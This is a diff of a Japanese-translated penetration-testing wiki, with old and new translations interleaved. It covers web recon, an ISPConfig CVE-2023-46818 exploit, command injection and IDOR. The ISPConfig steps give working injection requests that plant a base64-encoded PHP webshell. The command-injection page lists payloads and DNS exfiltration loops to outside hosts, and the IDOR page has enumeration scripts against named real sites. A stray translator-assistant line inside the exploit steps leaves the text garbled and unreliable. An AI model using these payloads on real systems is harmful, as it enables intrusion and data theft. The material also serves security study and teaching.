- **Discover new parameters**: [**Arjun**](https://github.com/s0md3v/Arjun)、[**parameth**](https://github.com/maK-/parameth)、[**x8**](https://github.com/sh1yo/x8)、[**Param Miner**](https://github.com/PortSwigger/param-miner) などを使って隠れたパラメータを発見できます。可能であれば、各実行可能な web ファイルで隠れたパラメータを検索してみてください。
- _Arjun all default wordlists:_ [https://github.com/s0md3v/Arjun/tree/master/arjun/db](https://github.com/s0md3v/Arjun/tree/master/arjun/db)
- _Param-miner “params” :_ [https://github.com/PortSwigger/param-miner/blob/master/resources/params](https://github.com/PortSwigger/param-miner/blob/master/resources/params)
- _Assetnote “parameters_top_1m”:_ [https://wordlists.assetnote.io/](https://wordlists.assetnote.io)
- _nullenc0de “params.txt”:_ [https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773](https://gist.github.com/nullenc0de/9cb36260207924f8e1787279a05eb773)
- **コメント:** すべてのファイルのコメントを確認してください。**資格情報**や**隠れた機能**を見つけることができます。
- **CTF**をプレイしている場合、「一般的な」トリックは、**ページの右側のコメント内に** **情報**を**隠す**ことです(**数百**の**スペース**を使用して、ブラウザでソースコードを開いてもデータが見えないようにします)。もう一つの可能性は、**いくつかの新しい行**を使用して、ウェブページの**下部**にコメント内に**情報を隠す**ことです。
- **APIキー**: **APIキー**を見つけた場合、さまざまなプラットフォームのAPIキーの使用方法を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)**、** [**zile**](https://github.com/xyele/zile.git)**** [**truffleHog**](https://github.com/trufflesecurity/truffleHog)**** [**SecretFinder**](https://github.com/m4ll0k/SecretFinder)**** [**RegHex**](<https://github.com/l4yton/RegHex)/>)**** [**DumpsterDive**](https://github.com/securing/DumpsterDiver)**** [**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google APIキー: **AIza**SyA-qLheq6xjDiEIRisP_ujUseYLQCHUjikのようなAPIキーを見つけた場合、プロジェクト[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner)を使用して、キーがアクセスできるAPIを確認できます。
- **S3バケット**: スパイダーリング中に、**サブドメイン**や**リンク**が**S3バケット**に関連しているかどうかを確認してください。その場合、[**バケットの** **権限**を**確認**](buckets/index.html)してください
- **Comments:** すべてのファイルのコメントを確認してください。**credentials** や **hidden functionality** が見つかることがあります。
- CTF をプレイしている場合、一般的なトリックとしてページの **右側** にコメントで情報を **隠す**(ブラウザでソースを開くと見えないように大量のスペースを利用)ことがあります。別の方法として、複数の改行を使い、ページ下部のコメントに情報を隠すこともあります。
- **API keys**: API key を見つけた場合、さまざまなプラットフォームの API key の使い方を示すガイドがあります: [**keyhacks**](https://github.com/streaak/keyhacks)、[**zile**](https://github.com/xyele/zile.git)、[**truffleHog**](https://github.com/trufflesecurity/truffleHog)、[**SecretFinder**](https://github.com/m4ll0k/SecretFinder)、[**RegHex**](<https://github.com/l4yton/RegHex)/>)、[**DumpsterDive**](https://github.com/securing/DumpsterDiver)、[**EarlyBird**](https://github.com/americanexpress/earlybird)
- Google API keys: **AIza** で始まるような API key を見つけたら、[**gmapapiscanner**](https://github.com/ozguralp/gmapsapiscanner) でどの API にアクセスできるかチェックできます。
- **S3 Buckets**: spidering 中にサブドメインやリンクが S3 bucket に関連しているかどうか確認してください。その場合は [**check** the **permissions** of the bucket](buckets/index.html)
### 特別な発見
### Special findings
**スパイダーリング**と**ブルートフォース**を実行している間に、**興味深い** **もの**を**見つける**ことがあります。
**spidering** と **brute-forcing** を行う際に、**注目すべき** 事項が見つかることがあります。
**興味深いファイル**
**Interesting files**
- **CSS**ファイル内の他のファイルへの**リンク**を探します
- [**.git**ファイルを見つけた場合、いくつかの情報を抽出できます](git.md)
- **.env**を見つけた場合、APIキー、DBパスワード、その他の情報が見つかる可能性があります。
- **APIエンドポイント**を見つけた場合、[それらをテストする必要があります](web-api-pentesting.md)。これらはファイルではありませんが、おそらく「ファイルのように見える」でしょう
- **JSファイル**: スパイダーリングセクションで、JSファイルからパスを抽出できるいくつかのツールが言及されました。また、見つかった各JSファイルを**監視する**ことも興味深いでしょう。場合によっては、変更がコードに潜在的な脆弱性が導入されたことを示すかもしれません。たとえば、[**JSMon**](https://github.com/robre/jsmon)**を使用できます。**
- 発見されたJSファイルを[**RetireJS**](https://github.com/retirejs/retire.js/)または[**JSHole**](https://github.com/callforpapers-source/jshole)で確認して、脆弱性があるかどうかを確認してください
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/)[https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io)[http://jsnice.org/](http://jsnice.org)
- **JsFuckのデオブフスケーション** (文字でのjavascript:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- CSS ファイル内の他のファイルへの **links** を探してください
- [.git を見つけた場合、いくつかの情報を抽出できることがあります](git.md)
- .env を見つけた場合、api keys、dbs passwords、その他の情報が見つかることがあります。
- **API endpoints** を見つけたら、[それらもテストすべきです](web-api-pentesting.md)。これらはファイルではありませんが、見た目はファイルのようなことが多いです
- **JS files**: spidering セクションで JS ファイルからパスを抽出できるツールをいくつか挙げました。見つけた各 JS ファイルを **監視** するのも有益です。場合によっては、ファイルの変更が潜在的な脆弱性の導入を示すことがあります。例えば [**JSMon**](https://github.com/robre/jsmon) を使うことができます。
- 発見した JS ファイルは [**RetireJS**](https://github.com/retirejs/retire.js/) や [**JSHole**](https://github.com/callforpapers-source/jshole) で脆弱性がないか確認すべきです
- **Javascript Deobfuscator and Unpacker:** [https://lelinhtinh.github.io/de4js/](https://lelinhtinh.github.io/de4js/), [https://www.dcode.fr/javascript-unobfuscator](https://www.dcode.fr/javascript-unobfuscator)
- **Javascript Beautifier:** [http://jsbeautifier.org/](https://beautifier.io), [http://jsnice.org/](http://jsnice.org)
- **JsFuck deobfuscation** (javascript with chars:"\[]!+" [https://enkhee-osiris.github.io/Decoder-JSFuck/](https://enkhee-osiris.github.io/Decoder-JSFuck/))
- [**TrainFuck**](https://github.com/taco-c/trainfuck)**:** `+72.+29.+7..+3.-67.-12.+55.+24.+3.-6.-8.-67.-23.`
- いくつかの場面で、使用されている**正規表現**を**理解する**必要があります。これは役立ちます: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex)
- フォームが検出されたファイルを**監視する**こともできます。パラメータの変更や新しいフォームの出現は、潜在的な新しい脆弱な機能を示すかもしれません
- 多くの場合、使用されている正規表現を理解する必要があります。これには次が有用です: [https://regex101.com/](https://regex101.com) または [https://pythonium.net/regex](https://pythonium.net/regex)
- フォームが検出されたファイルを監視するのも良いです。パラメータの変更や新しいフォームの出現は、新たな脆弱な機能が導入されたことを示す場合があります
**403 Forbidden/Basic Authentication/401 Unauthorized (バイパス)**
**403 Forbidden/Basic Authentication/401 Unauthorized (bypass)**
{{#ref}}
@ -311,38 +312,38 @@ _ブルートフォースやスパイダーリング中に新しいディレク
**502 Proxy Error**
ページが**そのコード**で**応答**する場合、**不適切に構成されたプロキシ**の可能性があります。**`GET https://google.com HTTP/1.1`**のようなHTTPリクエストを送信するとホストヘッダーや他の一般的なヘッダーを含む、**プロキシ**は_**google.com**_に**アクセス**しようとし、**SSRF**を見つけることになります。
もしページがそのコードで **レスポンス** を返すなら、おそらく **誤設定された proxy** です。**`GET https://google.com HTTP/1.1`** のような HTTP リクエストをhost ヘッダやその他一般的なヘッダを付けて送ると、proxy は _**google.com**_ へアクセスしようとし、SSRF を発見できます。
**NTLM認証 - 情報漏洩**
**NTLM Authentication - Info disclosure**
認証を要求しているサーバーが**Windows**であるか、**資格情報**(および**ドメイン名**)を要求するログインを見つけた場合、**情報漏洩**を引き起こすことができます。\
**ヘッダーを送信します**: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”` そして、**NTLM認証の動作**により、サーバーはヘッダー「WWW-Authenticate」内に内部情報IISバージョン、Windowsバージョン...)を応答します。\
これを**自動化**するには、**nmapプラグイン**"_http-ntlm-info.nse_"を使用できます。
実行中のサーバが認証を要求しており、それが **Windows** であるか、ドメイン名を尋ねるログインがある場合、**情報漏洩** を誘発できます。\
ヘッダを送信してください: `“Authorization: NTLM TlRMTVNTUAABAAAAB4IIAAAAAAAAAAAAAAAAAAAAAAA=”`。NTLM 認証の仕組み上、サーバはヘッダ "WWW-Authenticate" に内部情報IIS バージョン、Windows バージョン...)を返します。\
これを自動化するには nmap のプラグイン "_http-ntlm-info.nse_" を使えます。
**HTTPリダイレクト (CTF)**
**HTTP Redirect (CTF)**
**リダイレクション**内に**コンテンツ**を**挿入**することが可能です。このコンテンツは**ユーザーに表示されません**(ブラウザがリダイレクションを実行するため)が、そこに**隠されている**ものがあるかもしれません
リダイレクト内にコンテンツを **埋め込む** ことが可能です。このコンテンツはブラウザがリダイレクトを実行するため **ユーザには表示されません** が、そこに何かが **隠されている** 可能性があります
### ウェブ脆弱性のチェック
### Web Vulnerabilities Checking
ウェブアプリケーションの包括的な列挙が行われたので、多くの可能性のある脆弱性をチェックする時が来ました。チェックリストはここにあります:
web アプリケーションの包括的な列挙が完了したら、多くの可能な脆弱性をチェックする時です。チェックリストは次にあります:
{{#ref}}
../../pentesting-web/web-vulnerabilities-methodology.md
{{#endref}}
ウェブ脆弱性に関する詳細情報は次のリンクで見つけることができます:
web 脆弱性の詳細:
- [https://six2dez.gitbook.io/pentest-book/others/web-checklist](https://six2dez.gitbook.io/pentest-book/others/web-checklist)
- [https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html](https://kennel209.gitbooks.io/owasp-testing-guide-v4/content/en/web_application_security_testing/configuration_and_deployment_management_testing.html)
- [https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection](https://owasp-skf.gitbook.io/asvs-write-ups/kbid-111-client-side-template-injection)
### ページの変更を監視
### Monitor Pages for changes
[https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io)のようなツールを使用して、脆弱性を挿入する可能性のある変更を監視できます。
ページの変更を監視するには、例えば [https://github.com/dgtlmoon/changedetection.io](https://github.com/dgtlmoon/changedetection.io) のようなツールを使い、脆弱性を導入する可能性のある修正を検出できます。
### HackTricks自動コマンド
### HackTricks Automatic Commands
```
Protocol_Name: Web #Protocol Abbreviation if there is one.
Port_Number: 80,443 #Comma separated if there is more than one.

View File

@ -0,0 +1,91 @@
# ISPConfig
{{#include ../../banners/hacktricks-training.md}}
## 概要
ISPConfig はオープンソースのホスティングコントロールパネルです。古い 3.2.x ビルドには言語ファイルエディタ機能があり、これがスーパー管理者に対して有効になっていると、不正に構成された翻訳レコードを介して任意の PHP コード注入が可能でした。これは web サーバーコンテキストでの RCE を引き起こす可能性があり、PHP の実行方法によっては権限昇格につながることがあります。
主要なデフォルトパス:
- Web ルートは `php -S` で提供されている場合や Apache/nginx 経由の場合、しばしば `/var/www/ispconfig` にあります。
- 管理 UI は HTTP(S) vhost 上で到達可能です(場合によっては localhost のみにバインドされていることがあります;必要なら SSH ポートフォワードを使用してください)。
ヒント: パネルがローカルにバインドされている場合(例: `127.0.0.1:8080`)、転送してください:
```bash
ssh -L 9001:127.0.0.1:8080 user@target
# then browse http://127.0.0.1:9001
```
## 言語エディタ PHP code injection (CVE-2023-46818)
- Affected: ISPConfig up to 3.2.11 (fixed in 3.2.11p1)
- Preconditions:
- 組み込みの superadmin アカウント `admin` でログインする(ベンダーによれば他のロールは影響を受けない)
- 言語エディタを有効にする必要がある: `admin_allow_langedit=yes` in `/usr/local/ispconfig/security/security_settings.ini`
- Impact: 認証済みの admin は任意の PHP を注入でき、それが言語ファイルに書き込まれてアプリケーションによって実行され、web コンテキストで RCE を達成する
References: NVD entry CVE-2023-46818 and vendor advisory link in the References section below.
### 手動でのエクスプロイト手順
1) 言語ファイルを開く/作成して CSRF トークンを取得する
最初の POST を送信してフォームを初期化し、HTML レスポンスから CSRF フィールド(`csrf_id`, `csrf_key`)を解析する。例: `/admin/language_edit.php`.
2) Inject PHP via records[] and save
CSRF フィールドと悪意ある翻訳レコードを含む 2 回目の POST を送信する。最小限のコマンド実行プローブ:
```http
POST /admin/language_edit.php HTTP/1.1
Host: 127.0.0.1:9001
Content-Type: application/x-www-form-urlencoded
Cookie: ispconfig_auth=...
lang=en&module=admin&file=messages&csrf_id=<id>&csrf_key=<key>&records[]=<?php echo shell_exec('id'); ?>
```
アウトオブバンドテストICMPの観測:
```http
records[]=<?php echo shell_exec('ping -c 1 10.10.14.6'); ?>
```
3) ファイルを書き込み、webshellを配置する
`file_put_contents` を使って、ウェブから到達可能なパス(例: `admin/`)にファイルを作成する:
```http
records[]=<?php file_put_contents('admin/pwn.txt','owned'); ?>
```
次に、POSTボディ内の不正な文字を回避するためにbase64を使用したシンプルなwebshellを書きます:
```http
records[]=<?php file_put_contents('admin/shell.php', base64_decode('PD9waHAgc3lzdGVtKCRfUkVRVUVTVFsiY21kIl0pIDsgPz4K')); ?>
```
src/network-services-pentesting/pentesting-web/ispconfig.md の内容を貼ってください。翻訳して返します。
```bash
curl 'http://127.0.0.1:9001/admin/shell.php?cmd=id'
```
PHPがrootとして実行されている場合例: rootによって起動された `php -S 127.0.0.1:8080` のように、直ちにroot RCEが得られます。そうでない場合は、webサーバーのユーザー権限でコード実行が可能になります。
### Python PoC
そのまま使えるexploitはtokenの処理とpayloadの配信を自動化します:
- [https://github.com/bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
実行例:
```bash
python3 cve-2023-46818.py http://127.0.0.1:9001 admin <password>
```
### ハードニング
- 3.2.11p1以降にアップグレードする
- 言語エディタは厳密に必要でない限り無効にする:
```
admin_allow_langedit=no
```
- パネルをrootで実行しない; PHP-FPMまたはwebサーバーを設定して特権を落とす
- 組み込みの `admin` アカウントに対して強力な認証を要求する
## 参考
- [ISPConfig 3.2.11p1 Released (fixes language editor code injection)](https://www.ispconfig.org/blog/ispconfig-3-2-11p1-released/)
- [CVE-2023-46818 NVD](https://nvd.nist.gov/vuln/detail/CVE-2023-46818)
- [bipbopbup/CVE-2023-46818-python-exploit](https://github.com/bipbopbup/CVE-2023-46818-python-exploit)
- [HTB Nocturnal: Root via ISPConfig language editor RCE](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,16 +1,16 @@
# コマンドインジェクション
# Command Injection
{{#include ../banners/hacktricks-training.md}}
## コマンドインジェクションとは
## command Injectionとは何ですか
**コマンドインジェクション**は、攻撃者がアプリケーションをホストしているサーバー上で任意のオペレーティングシステムコマンドを実行することを許可します。その結果、アプリケーションとそのすべてのデータが完全に危険にさらされる可能性があります。これらのコマンドの実行により、攻撃者はアプリケーションの環境や基盤となるシステムに対して不正アクセスまたは制御を得ることができます。
A **command injection** は、アプリケーションをホストしているサーバ上で攻撃者が任意のOSコマンドを実行できるようにする脆弱性です。その結果、アプリケーションおよびその全データが完全に乗っ取られる可能性があります。これらのコマンドの実行により、攻撃者は通常、アプリケーションの環境や基盤となるシステムに対して不正なアクセスや制御を取得できます。
### コンテキスト
**入力がどこにインジェクトされているか**によって、コマンドの前に**引用されたコンテキストを終了させる**必要があるかもしれません(`"`または`'`を使用)。
入力が**どこに挿入されているか**によっては、コマンドの実行前に**引用されたコンテキストを終了する**`"` または `'` を使用)必要があるかもしれません。
## コマンドインジェクション/実行
## Command Injection/Execution
```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
@ -18,6 +18,7 @@ ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id # Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)
ls%0abash%09-c%09"id"%0a # (Combining new lines and tabs)
#Only unix supported
`ls` # ``
@ -29,9 +30,10 @@ ls${LS_COLORS:10:1}${IFS}id # Might be useful
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```
### **制限** バイパス
### **Limition** Bypasses
もし **linux マシン内で任意のコマンドを実行しようとしている** 場合、これらの **Bypasses:** を読むと参考になります。
もしあなたが **Linuxマシン内で任意のコマンドを実行しようとしている** のなら、この **バイパス** について読むことに興味があるでしょう:
{{#ref}}
../linux-hardening/bypass-bash-restrictions/
@ -45,7 +47,7 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
```
### パラメータ
ここに、コードインジェクションや同様のRCE脆弱性に対して脆弱である可能性のある上位25のパラメータがあります[link](https://twitter.com/trbughunters/status/1283133356922884096)から):
以下は code injection や同様の RCE 脆弱性の対象となり得る上位25のパラメータです出典: [link](https://twitter.com/trbughunters/status/1283133356922884096)):
```
?cmd={payload}
?exec={payload}
@ -73,9 +75,9 @@ vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod
?run={payload}
?print={payload}
```
### 時間ベースのデータ流出
### Time based data exfiltration
データを抽出する: 文字ごとに
データ抽出: charごとに
```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real 0m5.007s
@ -87,9 +89,9 @@ real 0m0.002s
user 0m0.000s
sys 0m0.000s
```
### DNSを利用したデータの流出
### DNS based data exfiltration
`https://github.com/HoLyVieR/dnsbin`からのツールに基づいており、dnsbin.zhack.caでもホストされています。
`https://github.com/HoLyVieR/dnsbin` のツールに基づいており、dnsbin.zhack.ca にもホストされています。
```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
@ -99,12 +101,12 @@ for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```
オンラインツールを使用してDNSベースのデータ流出をチェックする
DNS based data exfiltration を確認するためのオンラインツール:
- dnsbin.zhack.ca
- pingb.in
### フィルタリングバイパス
### Filtering bypass
#### Windows
```
@ -128,9 +130,9 @@ exec(`/usr/bin/do-something --id_user ${id_user} --payload '${JSON.stringify(pay
/* … */
});
```
`exec()`は**シェル**`/bin/sh -c`)を生成するため、シェルに特別な意味を持つ任意の文字(バックティック、`;``&&``|``$()`、…)は、ユーザー入力が文字列に連結されると**コマンドインジェクション**を引き起こします。
`exec()`**shell** (`/bin/sh -c`) を起動するため、shell に特別な意味を持つ文字(バックティック, `;`, `&&`, `|`, `$()`, …)がユーザー入力を文字列に連結した際に **command injection** を引き起こします。
**緩和策:** `execFile()`(または`shell`オプションなしの`spawn()`)を使用し、**各引数を別々の配列要素として提供**することで、シェルを関与させないようにします:
**緩和策:** `execFile()` を使用する(または `shell` オプションなしで `spawn()` を使用)し、**各引数を別々の配列要素として渡す**ことで shell が介在しないようにする:
```javascript
const { execFile } = require('child_process');
execFile('/usr/bin/do-something', [
@ -138,20 +140,22 @@ execFile('/usr/bin/do-something', [
'--payload', JSON.stringify(payload)
]);
```
実際のケース: *Synology Photos* ≤ 1.7.0-0794 は、攻撃者が制御するデータを `id_user` に配置する認証されていない WebSocket イベントを通じて悪用可能であり、その後 `exec()` 呼び出しに埋め込まれ、RCE を達成しました (Pwn2Own Ireland 2024)。
実際の事例: *Synology Photos* ≤ 1.7.0-0794 は、認証不要の WebSocket イベントを介して攻撃者が制御するデータが `id_user` に配置され、それが後に `exec()` 呼び出しに埋め込まれて RCE を達成しました (Pwn2Own Ireland 2024).
## ブルートフォース検出リスト
## Brute-Force 検出リスト
{{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt
{{#endref}}
## 参考文献
## 参考
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection)
- [https://portswigger.net/web-security/os-command-injection](https://portswigger.net/web-security/os-command-injection)
- [Extraction of Synology encrypted archives Synacktiv 2025](https://www.synacktiv.com/publications/extraction-des-archives-chiffrees-synology-pwn2own-irlande-2024.html)
- [PHP proc_open manual](https://www.php.net/manual/en/function.proc-open.php)
- [HTB Nocturnal: IDOR → Command Injection → Root via ISPConfig (CVE202346818)](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -2,22 +2,23 @@
{{#include ../banners/hacktricks-training.md}}
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、ウェブまたはAPIエンドポイントが、**直接**内部オブジェクトにアクセスするために使用されるユーザー制御可能な識別子を開示または受け入れるときに発生します。**呼び出し元がそのオブジェクトにアクセス/変更する権限があるかどうかを確認せずに**。成功した悪用は通常、他のユーザーのデータを読み取ったり変更したりするような水平または垂直の特権昇格を可能にし、最悪の場合、完全なアカウントの乗っ取りや大量データの流出を引き起こします。
IDOR (Insecure Direct Object Reference) / Broken Object Level Authorization (BOLA) は、web または API endpoint がユーザー制御可能な識別子を公開または受け入れ、その識別子が内部オブジェクトに**直接**アクセスするために使用される一方で、呼び出し元がそのオブジェクトにアクセス/変更する権限を持っているかどうかを**検証していない**場合に発生します。
悪用に成功すると、通常は他ユーザーのデータを読み取ったり変更したりする横方向または縦方向の権限昇格を許し、最悪の場合はアカウントの完全な乗っ取りや大量のデータ持ち出しにつながります。
---
## 1. 潜在的なIDORの特定
1. **オブジェクトを参照するパラメータ**を探します:
* パス: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* クエリ: `?id=42`, `?invoice=2024-00001`
* ボディ / JSON: `{"user_id": 321, "order_id": 987}`
* ヘッダー / クッキー: `X-Client-ID: 4711`
2. データを**読み取るまたは更新する**エンドポイントを優先します(`GET`, `PUT`, `PATCH`, `DELETE`)。
3. 識別子が**連続的または予測可能**である場合に注意します あなたのIDが`64185742`であれば、`64185741`はおそらく存在します
4. 追加のAPIを露出させる可能性のある隠れたまたは代替のフロー(例: ログインページの*"Paradox team members"*リンク)を探ります
5. **認証された低特権セッション**を使用し、同じトークン/クッキーを保持しながらIDのみを変更します。認可エラーがないことは通常、IDORの兆候です
1. オブジェクトを参照するパラメータを探す:
* Path: `/api/user/1234`, `/files/550e8400-e29b-41d4-a716-446655440000`
* Query: `?id=42`, `?invoice=2024-00001`
* Body / JSON: `{"user_id": 321, "order_id": 987}`
* Headers / Cookies: `X-Client-ID: 4711`
2. データを読み取るまたは更新するエンドポイントを優先す`GET`, `PUT`, `PATCH`, `DELETE`)。
3. 識別子が連番または予測可能かどうかを確認する — もしあなたのIDが `64185742` なら、`64185741` はおそらく存在する
4. 追加のAPIを露出している可能性のある隠れたまたは別のフローログインページの「Paradox team members」リンクを探索する
5. 認証済みの低権限セッションを使用し、同じ token/cookie を保持したままIDだけを変更する。認可エラーが発生しない場合は通常IDORの兆候である
### クイック手動改ざん (Burp Repeater)
### Quick manual tampering (Burp Repeater)
```
PUT /api/lead/cem-xhr HTTP/1.1
Host: www.example.com
@ -26,7 +27,7 @@ Content-Type: application/json
{"lead_id":64185741}
```
### 自動列挙 (Burp Intruder / curl ループ)
### 自動列挙 (Burp Intruder / curl loop)
```bash
for id in $(seq 64185742 64185700); do
curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
@ -36,48 +37,70 @@ curl -s -X PUT 'https://www.example.com/api/lead/cem-xhr' \
done
```
---
## 2. 実世界のケーススタディ McHire チャットボットプラットフォーム (2025)
Paradox.ai によって動かされる **McHire** 採用ポータルの評価中に、次の IDOR が発見されました:
### Error-response oracle for user/file enumeration
ダウンロードエンドポイントが username と filename の両方を受け取る場合(例: `/view.php?username=<u>&file=<f>`)、エラーメッセージの微妙な違いによってしばしば oracle が生じます:
- 存在しない username → "User not found"
- ファイル名が不正だが拡張子は有効 → "File does not exist"(場合によっては利用可能なファイルを一覧表示する)
- 拡張子が不正 → バリデーションエラー
認証済みセッションがあれば、無害なファイル名を固定して username パラメータをファジングし、"user not found" 文字列でフィルタすることで有効なユーザを特定できます:
```bash
ffuf -u 'http://target/view.php?username=FUZZ&file=test.doc' \
-b 'PHPSESSID=<session-cookie>' \
-w /opt/SecLists/Usernames/Names/names.txt \
-fr 'User not found'
```
有効なユーザー名が判明したら、特定のファイルを直接要求します(例: `/view.php?username=amanda&file=privacy.odt`。このパターンは、他のユーザーのドキュメントの無断開示やcredential leakageにつながることが多い。
---
## 2. 実際の事例 McHire チャットボットプラットフォーム (2025)
Paradox.aiにより提供される**McHire**採用ポータルの評価中に、以下のIDORが発見されました:
* エンドポイント: `PUT /api/lead/cem-xhr`
* 認証: **任意の** レストランテストアカウントのユーザーセッションクッキー
* ボディパラメータ: `{"lead_id": N}` 8 桁の **連続した** 数字識別子
* Authorization: **任意** のレストランのテストアカウント用ユーザーセッションcookie
* ボディパラメータ: `{"lead_id": N}` 8桁の、**連番**の数値識別子
`lead_id` を減少させることで、テスターは任意の応募者の **完全な PII**(名前、メール、電話、住所、シフトの希望)とセッションハイジャックを可能にする消費者 **JWT** を取得しました。範囲 `1 64,185,742` の列挙により、約 **6400 万** 件のレコードが露出しました。
`lead_id` を減らすことで、テスターは任意の応募者の **full PII**(名前、メール、電話、住所、シフト希望)とセッションハイジャックを可能にする消費者 **JWT** を取得しました。範囲 `1 64,185,742` を列挙したところ、およそ**6400万**件のレコードが露出しました。
概念実証リクエスト:
Proof-of-Concept request:
```bash
curl -X PUT 'https://www.mchire.com/api/lead/cem-xhr' \
-H 'Content-Type: application/json' \
-d '{"lead_id":64185741}'
```
Combined with **デフォルトの管理者資格情報** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
Combined with **default admin credentials** (`123456:123456`) that granted access to the test account, the vulnerability resulted in a critical, company-wide data breach.
---
## 3. IDOR / BOLAの影響
* 水平的エスカレーション **他のユーザーの**データを読み取り/更新/削除。
* 垂直的エスカレーション 権限の低いユーザーが管理者専用機能を取得。
* 識別子が連続している場合応募者ID、請求書に大規模なデータ漏洩。
* トークンを盗むか、他のユーザーのパスワードをリセットすることによるアカウント乗っ取り
## 3. IDOR / BOLA の影響
* 水平的権限昇格 他のユーザーのデータを読み取り/更新/削除できる
* 垂直的権限昇格 低権限ユーザーが管理者専用の機能を利用できるようになる
* 識別子が連続している場合(例:申請者ID、請求書大規模なデータ漏洩が発生する可能性がある
* 他ユーザーのトークンを盗む、またはパスワードをリセットすることでアカウント乗っ取りが発生する
---
## 4. 緩和策とベストプラクティス
1. **オブジェクトレベルの認可**をすべてのリクエストに強制する (`user_id == session.user`)
2. 自動インクリメントIDの代わりに**間接的で推測不可能な識別子**UUIDv4、ULIDを好む
3. 認可を**サーバー側で**実行し、隠しフォームフィールドやUIコントロールに依存しない。
4. 中央ミドルウェアで**RBAC / ABAC**チェックを実装する。
5. IDの列挙を検出するために**レート制限とログ記録**を追加する。
6. 新しいエンドポイントごとにセキュリティテストを実施する(ユニット、統合、DAST
1. すべてのリクエストで **object-level authorization** を強制する(`user_id == session.user`
2. 自動増分IDの代わりに **indirect, unguessable identifiers**UUIDv4、ULIDを使用する
3. 認可は必ず **server-side** で行い、隠しフォームフィールドやUIコントロールに頼らない。
4. 中央ミドルウェアで **RBAC / ABAC** チェックを実装する。
5. ID列挙を検出するために **rate-limiting & logging** を追加する。
6. 新しいエンドポイントはすべてセキュリティテストを行う(ユニット、統合、及び DAST
---
## 5. ツール
* **BurpSuite拡張機能**: Authorize, Auto Repeater, Turbo Intruder。
* **OWASP ZAP**: Auth Matrix, Forced Browse
* **Githubプロジェクト**: `bwapp-idor-scanner`, `Blindy`バルクIDORハンティング
## 5. Tooling
* **BurpSuite extensions**: Authorize, Auto Repeater, Turbo Intruder.
* **OWASP ZAP**: Auth Matrix, Forced Browse.
* **Github projects**: `bwapp-idor-scanner`, `Blindy` (bulk IDOR hunting).
## 参考文献
## References
* [McHire Chatbot Platform: Default Credentials and IDOR Expose 64M Applicants PII](https://ian.sh/mcdonalds)
* [OWASP Top 10 Broken Access Control](https://owasp.org/Top10/A01_2021-Broken_Access_Control/)
* [How to Find More IDORs Vickie Li](https://medium.com/@vickieli/how-to-find-more-idors-ae2db67c9489)
* [HTB Nocturnal: IDOR oracle → file theft](https://0xdf.gitlab.io/2025/08/16/htb-nocturnal.html)
{{#include ../banners/hacktricks-training.md}}

View File

@ -4,86 +4,86 @@
## 基本概要
**Active Directory** は基盤技術として機能し、**ネットワーク管理者** がネットワーク内の **ドメイン**、**ユーザー**、および **オブジェクト** を効率的に作成・管理できるようにします。大量のユーザーを扱いやすい **グループ****サブグループ** に整理し、さまざまなレベルで **アクセス権** を制御できるように設計されています。
**Active Directory** は基盤技術として機能し、ネットワーク内で **network administrators****domains**, **users**, および **objects** を効率的に作成・管理できるようにします。スケーラブルに設計されており、多数のユーザーを扱いやすい **groups****subgroups** に整理し、さまざまなレベルでの **access rights** を制御できます。
**Active Directory** の構造は主に 3 層で構成されます:**ドメイン**、**ツリー**、および **フォレスト**。**ドメイン** は共通のデータベースを共有するユーザーやデバイスなどのオブジェクトの集合を含みます。**ツリー** は共通の構造で結ばれたドメイン群で、**フォレスト** は複数のツリーをまとめ、**信頼関係** を通じて相互接続された、組織構造の最上位に位置するものです。各レベルで特定の **アクセス****通信権限** を指定できます。
